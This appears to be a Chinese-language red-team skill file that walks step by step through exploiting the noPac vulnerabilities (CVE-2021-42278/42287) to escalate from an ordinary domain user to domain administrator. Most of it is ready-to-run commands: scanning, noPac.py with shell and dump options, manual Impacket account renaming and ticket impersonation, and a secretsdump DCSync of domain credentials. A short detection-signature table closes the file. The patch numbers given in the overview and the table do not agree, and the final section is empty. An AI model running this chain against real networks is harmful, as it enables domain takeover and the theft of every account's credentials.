| name | exploiting-nopac-cve-2021-42278-42287 |
| description | 利用 noPac 漏洞链(CVE-2021-42278 sAMAccountName 欺骗和 CVE-2021-42287 KDC PAC 混淆),在活动目录环境中从普通域用户提升至域管理员权限。 |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | ["red-team","active-directory","nopac","cve-2021-42278","cve-2021-42287","privilege-escalation","domain-escalation"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
利用 noPac(CVE-2021-42278 / CVE-2021-42287)
概述
noPac 是一个严重的漏洞利用链,结合了两个活动目录漏洞:CVE-2021-42278(sAMAccountName 欺骗)和 CVE-2021-42287(KDC PAC 混淆)。两者合并可以让任何经过认证的域用户提升至域管理员权限,可能在 60 秒内实现完整域入侵。CVE-2021-42278 允许攻击者修改机器账户的 sAMAccountName 属性以匹配域控制器的名称(去掉末尾的 $)。CVE-2021-42287 利用 Kerberos PAC 验证中的缺陷,当 KDC 找不到重命名的账户时,会自动附加 $ 并为域控制器账户签发票据。微软于 2021 年 11 月修补了这两个漏洞(KB5008380 和 KB5008602),但许多环境仍未打补丁。该漏洞由 cube0x0 和 Ridter 于 2021 年 12 月公开发布。
目标
- 扫描目标域以检测 noPac 漏洞(CVE-2021-42278/42287)
- 创建或利用具有修改后 sAMAccountName 的机器账户
- 利用 KDC PAC 混淆获取域控制器的 TGT
- 使用 DC 票据执行 DCSync 并转储域凭据
- 从普通域用户账户获得域管理员访问权限
- 记录包含证据的完整利用链
MITRE ATT&CK 映射
- T1068 - 利用漏洞进行权限提升
- T1136.002 - 创建账户:域账户
- T1078.002 - 有效账户:域账户
- T1558 - 窃取或伪造 Kerberos 票据
- T1003.006 - 操作系统凭据转储:DCSync
实施步骤
阶段一:漏洞扫描
- 使用 noPac 扫描器检查域是否易受攻击:
python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
- 验证 MachineAccountQuota(默认为 10,允许任何用户加入计算机):
python3 -c "
import ldap3
server = ldap3.Server('10.10.10.1')
conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
print(conn.entries[0]['ms-DS-MachineAccountQuota'])
"
阶段二:使用 noPac 工具利用
- 运行完整的 noPac 漏洞利用链:
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
--impersonate administrator -dump
- 该漏洞利用工具自动:
- 创建新的机器账户(或使用现有的)
- 将机器账户的 sAMAccountName 重命名为与 DC 匹配(如 "DC01")
- 为欺骗的账户名请求 TGT
- 恢复原始 sAMAccountName
- 使用 S4U2self 获取模拟目标用户的服务票据
- KDC 找不到匹配 "DC01" 的账户,回退到 "DC01$"(真实 DC)
阶段三:后渗透
- 使用获得的域控制器票据执行 DCSync:
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
- 或者,获取半交互式 shell:
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
阶段四:手动利用步骤
- 创建机器账户:
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
- 清除 SPN 并重命名 sAMAccountName:
renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
- 为欺骗的名称请求 TGT:
getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'
- 恢复原始机器名称:
renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
- 使用 S4U2self 进行模拟:
export KRB5CCNAME=DC01.ccache
getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
-k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
工具与资源
| 工具 | 用途 | 平台 |
|---|
| noPac(cube0x0) | 自动化扫描器和利用工具 | Python |
| noPac(Ridter) | 替代漏洞利用实现 | Python |
| Impacket | Kerberos 票据操控、DCSync | Python |
| CrackMapExec | 漏洞扫描模块 | Python |
| Rubeus | Windows Kerberos 票据操作 | Windows(.NET) |
| secretsdump.py | 后渗透凭据转储 | Python |
CVE 详情
| CVE | 描述 | CVSS | 补丁 |
|---|
| CVE-2021-42278 | sAMAccountName 欺骗(机器账户) | 7.5 | KB5008102 |
| CVE-2021-42287 | KDC PAC 混淆/权限提升 | 7.5 | KB5008380 |
检测特征
| 指标 | 检测方法 |
|---|
| 机器账户 sAMAccountName 更改 | 带 sAMAccountName 修改的事件 4742(计算机账户已更改) |
| 新机器账户创建 | 事件 4741(计算机对象已创建) |
| 不带末尾 $ 的账户的 TGT 请求 | Kerberos 审计日志分析 |
| 来自非 DC 机器账户的 S4U2self 请求 | 带异常服务票据请求的事件 4769 |
| 快速序列:创建账户、重命名、请求 TGT | 针对 noPac 攻击模式的 SIEM 关联规则 |
验证标准